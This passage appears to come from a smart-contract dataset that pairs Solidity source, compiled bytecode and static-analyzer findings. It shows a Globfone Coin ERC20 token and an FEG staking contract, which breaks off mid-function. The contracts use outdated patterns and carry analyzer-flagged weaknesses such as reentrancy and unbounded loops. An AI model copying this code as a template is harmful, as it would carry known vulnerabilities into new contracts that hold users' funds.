{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 836 |
0x6667a56d8fcb35448ee8514936e6d6c4ccc86e97 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ______ __ __ ______ ______ __ //
// / \ | \ | \ / \ / \ | \ //
// | $$$$$$\| $$ ______ | $$____ | $$$$$$\ ______ _______ ______ | $$$$$$\ ______ \$$ _______ //
// | $$ __\$$| $$ / \ | $$ \ | $$_ \$$/ \ | \ / \ | $$ \$$ / \ | \| \ //
// | $$| \| $$| $$$$$$\| $$$$$$$\ | $$ \ | $$$$$$\| $$$$$$$\| $$$$$$\ | $$ | $$$$$$\| $$| $$$$$$$\ //
// | $$ \$$$$| $$| $$ | $$| $$ | $$ | $$$$ | $$ | $$| $$ | $$| $$ $$ | $$ __ | $$ | $$| $$| $$ | $$ //
// | $$__| $$| $$| $$__/ $$| $$__/ $$ | $$ | $$__/ $$| $$ | $$| $$$$$$$$ | $$__/ \| $$__/ $$| $$| $$ | $$ //
// \$$ $$| $$ \$$ $$| $$ $$ | $$ \$$ $$| $$ | $$ \$$ \ \$$ $$ \$$ $$| $$| $$ | $$ //
// \$$$$$$ \$$ \$$$$$$ \$$$$$$$ \$$ \$$$$$$ \$$ \$$ \$$$$$$$ \$$$$$$ \$$$$$$ \$$ \$$ \$$ //
// //
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//Token Name : Globfone Coin
//symbol : GMC
//decimals : 8
//website : Globfone.Com
pragma solidity ^0.4.23;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => uint256) public freezeOf;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract GlobfoneCoin is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Globfone Coin"; //* Token Name *//
string public constant symbol = "GFC"; //* Globfone Coin Symbol *//
uint public constant decimals = 8; //* Number of Decimals *//
uint256 public totalSupply = 5000000000000000000; //* total supply of globfone coin *//
uint256 public totalDistributed = 2000000000000; //* Initial Globfone coins that will give to contract creator *//
uint256 public constant MIN = 1 ether / 100; //* Minimum Contribution for GlobFone Coin //
uint256 public tokensPerEth = 2000000000000000; //* Globfone Coin Amount per Ethereum *//
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Freeze(address indexed from, uint256 value); //event freezing
event Unfreeze(address indexed from, uint256 value); //event Unfreezing
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function GlobfoneCoin () public {
owner = msg.sender;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function AirdropSingle(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function AirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= MIN );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function freeze(uint256 _value) returns (bool success) {
if (balances[msg.sender] < _value) throw; // Check if the sender has enough
if (_value <= 0) throw;
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); // Subtract from the sender
freezeOf[msg.sender] = SafeMath.add(freezeOf[msg.sender], _value); // Updates totalSupply
Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) returns (bool success) {
if (freezeOf[msg.sender] < _value) throw; // Check if the sender has enough
if (_value <= 0) throw;
freezeOf[msg.sender] = SafeMath.sub(freezeOf[msg.sender], _value); // Subtract from the sender
balances[msg.sender] = SafeMath.add(balances[msg.sender], _value);
Unfreeze(msg.sender, _value);
return true;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
//check if sender has balance and for oveflow
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
//allow the contract owner to withdraw any token that are not belongs to GlobfoneCoin Community
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
} //withdraw foreign tokens
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
//withdraw Ethereum from Contract address
function withdrawEther() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
//Burning specific amount of GlobFone Coins
function burnGlobFoneCoin(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
} | 0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461015d578063095ea7b3146101e757806318160ddd1461021f57806323b872dd14610246578063313ce5671461027057806337a7f2b7146102855780636623fc461461029a57806370a08231146102b25780637362377b146102d357806395d89b41146102e85780639b1cbccc146102fd5780639ea407be14610312578063a50f2a251461032a578063a9059cbb1461034e578063aa6ca80814610153578063c0e093f114610372578063c108d542146103c9578063c489744b146103de578063c73f0c1114610405578063cbdd69b51461041d578063cd4217c114610432578063d7a78db814610453578063dd62ed3e1461046b578063e58fc54c14610492578063efca2eed146104b3578063f2fde38b146104c8575b61015b6104e9565b005b34801561016957600080fd5b50610172610581565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ac578181015183820152602001610194565b50505050905090810190601f1680156101d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f357600080fd5b5061020b600160a060020a03600435166024356105b8565b604080519115158252519081900360200190f35b34801561022b57600080fd5b50610234610660565b60408051918252519081900360200190f35b34801561025257600080fd5b5061020b600160a060020a0360043581169060243516604435610666565b34801561027c57600080fd5b506102346107d9565b34801561029157600080fd5b506102346107de565b3480156102a657600080fd5b5061020b6004356107e9565b3480156102be57600080fd5b50610234600160a060020a03600435166108a3565b3480156102df57600080fd5b5061015b6108be565b3480156102f457600080fd5b50610172610920565b34801561030957600080fd5b5061020b610957565b34801561031e57600080fd5b5061015b6004356109bd565b34801561033657600080fd5b5061015b600160a060020a0360043516602435610a0f565b34801561035a57600080fd5b5061020b600160a060020a0360043516602435610a30565b34801561037e57600080fd5b506040805160206004803580820135838102808601850190965280855261015b953695939460249493850192918291850190849080828437509497505093359450610b0f9350505050565b3480156103d557600080fd5b5061020b610b5f565b3480156103ea57600080fd5b50610234600160a060020a0360043581169060243516610b68565b34801561041157600080fd5b5061015b600435610c19565b34801561042957600080fd5b50610234610cf8565b34801561043e57600080fd5b50610234600160a060020a0360043516610cfe565b34801561045f57600080fd5b5061020b600435610d10565b34801561047757600080fd5b50610234600160a060020a0360043581169060243516610dca565b34801561049e57600080fd5b5061020b600160a060020a0360043516610df5565b3480156104bf57600080fd5b50610234610f49565b3480156104d457600080fd5b5061015b600160a060020a0360043516610f4f565b600854600090819060ff16156104fe57600080fd5b60009150662386f26fc1000034101561051657600080fd5b6000341161052357600080fd5b600754670de0b6b3a764000090610540903463ffffffff610fa116565b81151561054957fe5b0491503390506000821115610564576105628183610fca565b505b6005546006541061057d576008805460ff191660011790555b5050565b60408051808201909152600d81527f476c6f62666f6e6520436f696e00000000000000000000000000000000000000602082015281565b600081158015906105eb5750336000908152600460209081526040808320600160a060020a038716845290915290205415155b156105f85750600061065a565b336000818152600460209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60055481565b60006060606436101561067557fe5b600160a060020a038416151561068a57600080fd5b600160a060020a0385166000908152600360205260409020548311156106af57600080fd5b600160a060020a03851660009081526004602090815260408083203384529091529020548311156106df57600080fd5b600160a060020a038516600090815260036020526040902054610708908463ffffffff6110a616565b600160a060020a0386166000908152600360209081526040808320939093556004815282822033835290522054610745908463ffffffff6110a616565b600160a060020a038087166000908152600460209081526040808320338452825280832094909455918716815260039091522054610789908463ffffffff6110b816565b600160a060020a0380861660008181526003602090815260409182902094909455805187815290519193928916926000805160206111d983398151915292918290030190a3506001949350505050565b600881565b662386f26fc1000081565b3360009081526001602052604081205482111561080557600080fd5b6000821161081257600080fd5b3360009081526001602052604090205461082c90836110a6565b3360009081526001602090815260408083209390935560039052205461085290836110b8565b33600081815260036020908152604091829020939093558051858152905191927f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f92918290030190a2506001919050565b600160a060020a031660009081526003602052604090205490565b6002546000908190600160a060020a031633146108da57600080fd5b50506002546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f1935050505015801561091b573d6000803e3d6000fd5b505050565b60408051808201909152600381527f4746430000000000000000000000000000000000000000000000000000000000602082015281565b600254600090600160a060020a0316331461097157600080fd5b60085460ff161561098157600080fd5b6008805460ff191660011790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600254600160a060020a031633146109d457600080fd5b60078190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190a150565b600254600160a060020a03163314610a2657600080fd5b61057d82826110c5565b600060406044361015610a3f57fe5b600160a060020a0384161515610a5457600080fd5b33600090815260036020526040902054831115610a7057600080fd5b33600090815260036020526040902054610a90908463ffffffff6110a616565b3360009081526003602052604080822092909255600160a060020a03861681522054610ac2908463ffffffff6110b816565b600160a060020a0385166000818152600360209081526040918290209390935580518681529051919233926000805160206111d98339815191529281900390910190a35060019392505050565b600254600090600160a060020a03163314610b2957600080fd5b5060005b825181101561091b57610b578382815181101515610b4757fe5b90602001906020020151836110c5565b600101610b2d565b60085460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610be457600080fd5b505af1158015610bf8573d6000803e3d6000fd5b505050506040513d6020811015610c0e57600080fd5b505195945050505050565b600254600090600160a060020a03163314610c3357600080fd5b33600090815260036020526040902054821115610c4f57600080fd5b5033600081815260036020526040902054610c70908363ffffffff6110a616565b600160a060020a038216600090815260036020526040902055600554610c9c908363ffffffff6110a616565b600555600654610cb2908363ffffffff6110a616565b600655604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60075481565b60016020526000908152604090205481565b33600090815260036020526040812054821115610d2c57600080fd5b60008211610d3957600080fd5b33600090815260036020526040902054610d5390836110a6565b33600090815260036020908152604080832093909355600190522054610d7990836110b8565b33600081815260016020908152604091829020939093558051858152905191927ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e092918290030190a2506001919050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b60025460009081908190600160a060020a03163314610e1357600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015610e7757600080fd5b505af1158015610e8b573d6000803e3d6000fd5b505050506040513d6020811015610ea157600080fd5b5051600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b158015610f1557600080fd5b505af1158015610f29573d6000803e3d6000fd5b505050506040513d6020811015610f3f57600080fd5b5051949350505050565b60065481565b600254600160a060020a03163314610f6657600080fd5b600160a060020a03811615610f9e576002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000821515610fb25750600061065a565b50818102818382811515610fc257fe5b041461065a57fe5b60085460009060ff1615610fdd57600080fd5b600654610ff0908363ffffffff6110b816565b600655600160a060020a03831660009081526003602052604090205461101c908363ffffffff6110b816565b600160a060020a038416600081815260036020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000916000805160206111d98339815191529181900360200190a350600192915050565b6000828211156110b257fe5b50900390565b8181018281101561065a57fe5b600081116110d257600080fd5b600554600654106110e257600080fd5b600160a060020a03821660009081526003602052604090205461110b908263ffffffff6110b816565b600160a060020a038316600090815260036020526040902055600654611137908263ffffffff6110b816565b600681905560055411611152576008805460ff191660011790555b600160a060020a0382166000818152600360209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a038416916000916000805160206111d98339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582032258cdc3c2d9a2f7c572e83c42e556f0411139c5f05de3740a0a1af95657ea20029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}} | 837 |
0x5bcf1f407c0fc922074283b4e11daaf539f6644d | /**
*Submitted for verification at Etherscan.io on 2021-04-08
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
require(_newOwner != address(0), "ERC20: sending to the zero address");
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
function calculateFeesBeforeSend(
address sender,
address recipient,
uint256 amount
) external view returns (uint256, uint256);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
interface regreward {
function distributeAll() external;
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract WhitelistAdminRole is Owned {
using Roles for Roles.Role;
event WhitelistAdminAdded(address indexed account);
event WhitelistAdminRemoved(address indexed account);
Roles.Role private _whitelistAdmins;
constructor () {
_addWhitelistAdmin(msg.sender);
}
modifier onlyWhitelistAdmin() {
require(isWhitelistAdmin(msg.sender), "WhitelistAdminRole: caller does not have the WhitelistAdmin role");
_;
}
function isWhitelistAdmin(address account) public view returns (bool) {
return _whitelistAdmins.has(account);
}
function addWhitelistAdmin(address account) public onlyWhitelistAdmin {
_addWhitelistAdmin(account);
}
function renounceWhitelistAdmin() public {
_removeWhitelistAdmin(msg.sender);
}
function _addWhitelistAdmin(address account) internal {
_whitelistAdmins.add(account);
emit WhitelistAdminAdded(account);
}
function _removeWhitelistAdmin(address account) internal {
_whitelistAdmins.remove(account);
emit WhitelistAdminRemoved(account);
}
}
contract FEGstake is Owned, ReentrancyGuard, WhitelistAdminRole {
using SafeMath for uint256;
address public FEG = 0x389999216860AB8E0175387A0c90E5c52522C945;
address public fETH = 0xf786c34106762Ab4Eeb45a51B42a62470E9D5332;
address public regrewardContract;
uint256 public totalStakes = 0;
bool public perform = true; //if true then distribution of rewards from the pool to stakers via the withdraw function is enabled
uint256 public txFee = 20; // FEG has 2% TX fee, deduct this fee from total stake to not break math
uint256 public txFee1 = 11; // fETH has 1% TX fee, 0.1% was also added this fee from total stake to not break math
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
mapping(address => uint) public farmTime; // period that your sake it locked to keep it for farming
uint public lock = 0; // no locktime
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
address[] internal stakeholders;
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens);
event EARNED(address staker, uint256 tokens);
event UNSTAKED(address staker, uint256 tokens);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
function isStakeholder(address _address)
public
view
returns(bool)
{
for (uint256 s = 0; s < stakeholders.length; s += 1){
if (_address == stakeholders[s]) return (true);
}
return (false);
}
function addStakeholder(address _stakeholder)
public
{
(bool _isStakeholder) = isStakeholder(_stakeholder);
if(!_isStakeholder) {
stakeholders.push(_stakeholder);
farmTime[msg.sender] = block.timestamp;
}
}
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external nonReentrant {
require(IERC20(FEG).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user for locking");
uint256 transferTxFee = (onePercent(tokens).mul(txFee)).div(10);
uint256 tokensToStake = (tokens.sub(transferTxFee));
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = tokensToStake.add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokensToStake);
addStakeholder(msg.sender);
emit STAKED(msg.sender, tokens);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external onlyWhitelistAdmin{ //can only be called by regrewardContract
uint256 transferTxFee = (onePercent(tokens).mul(txFee1)).div(10);
uint256 tokens_ = (tokens.sub(transferTxFee));
_addPayout(tokens_);
}
function ADDFUNDS1(uint256 tokens) external{
require(IERC20(fETH).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
uint256 transferTxFee = (onePercent(tokens).mul(txFee1)).div(10);
uint256 tokens_ = (tokens.sub(transferTxFee));
_addPayout(tokens_);
}
function DisributeTxFunds() external { // Distribute tx fees collected for conversion into rewards
uint256 transferToAmount = (IERC20(FEG).balanceOf(address(this))).sub(totalStakes);
require(IERC20(FEG).transfer(address(owner), transferToAmount), "Error in un-staking tokens");
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens_) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens_.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round - 1].add(dividendPerToken);
emit PAYOUT(round, tokens_, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public nonReentrant{
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(fETH).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
require(staker != address(0), "ERC20: sending to the zero address");
uint stakersRound = stakers[staker].round;
uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
require(staker != address(0), "ERC20: sending to the zero address");
uint stakersRound = stakers[staker].round;
uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount.add(stakers[staker].remainder));
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external nonReentrant{
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
totalStakes = totalStakes.sub(tokens);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
require(IERC20(FEG).transfer(msg.sender, tokens), "Error in un-staking tokens");
emit UNSTAKED(msg.sender, tokens);
if(perform==true) {
regreward(regrewardContract).distributeAll();
}
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedFEG(address staker) public view returns(uint256 stakedFEG){
require(staker != address(0), "ERC20: sending to the zero address");
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the FEG balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourFEGBalance(address user) external view returns(uint256 FEGBalance){
require(user != address(0), "ERC20: sending to the zero address");
return IERC20(FEG).balanceOf(user);
}
function emergencySaveLostTokens(address _token) public onlyOwner {
require(IERC20(_token).transfer(owner, IERC20(_token).balanceOf(address(this))), "Error in retrieving tokens");
owner.transfer(address(this).balance);
}
function changeregrewardContract(address _regrewardContract) external onlyOwner{
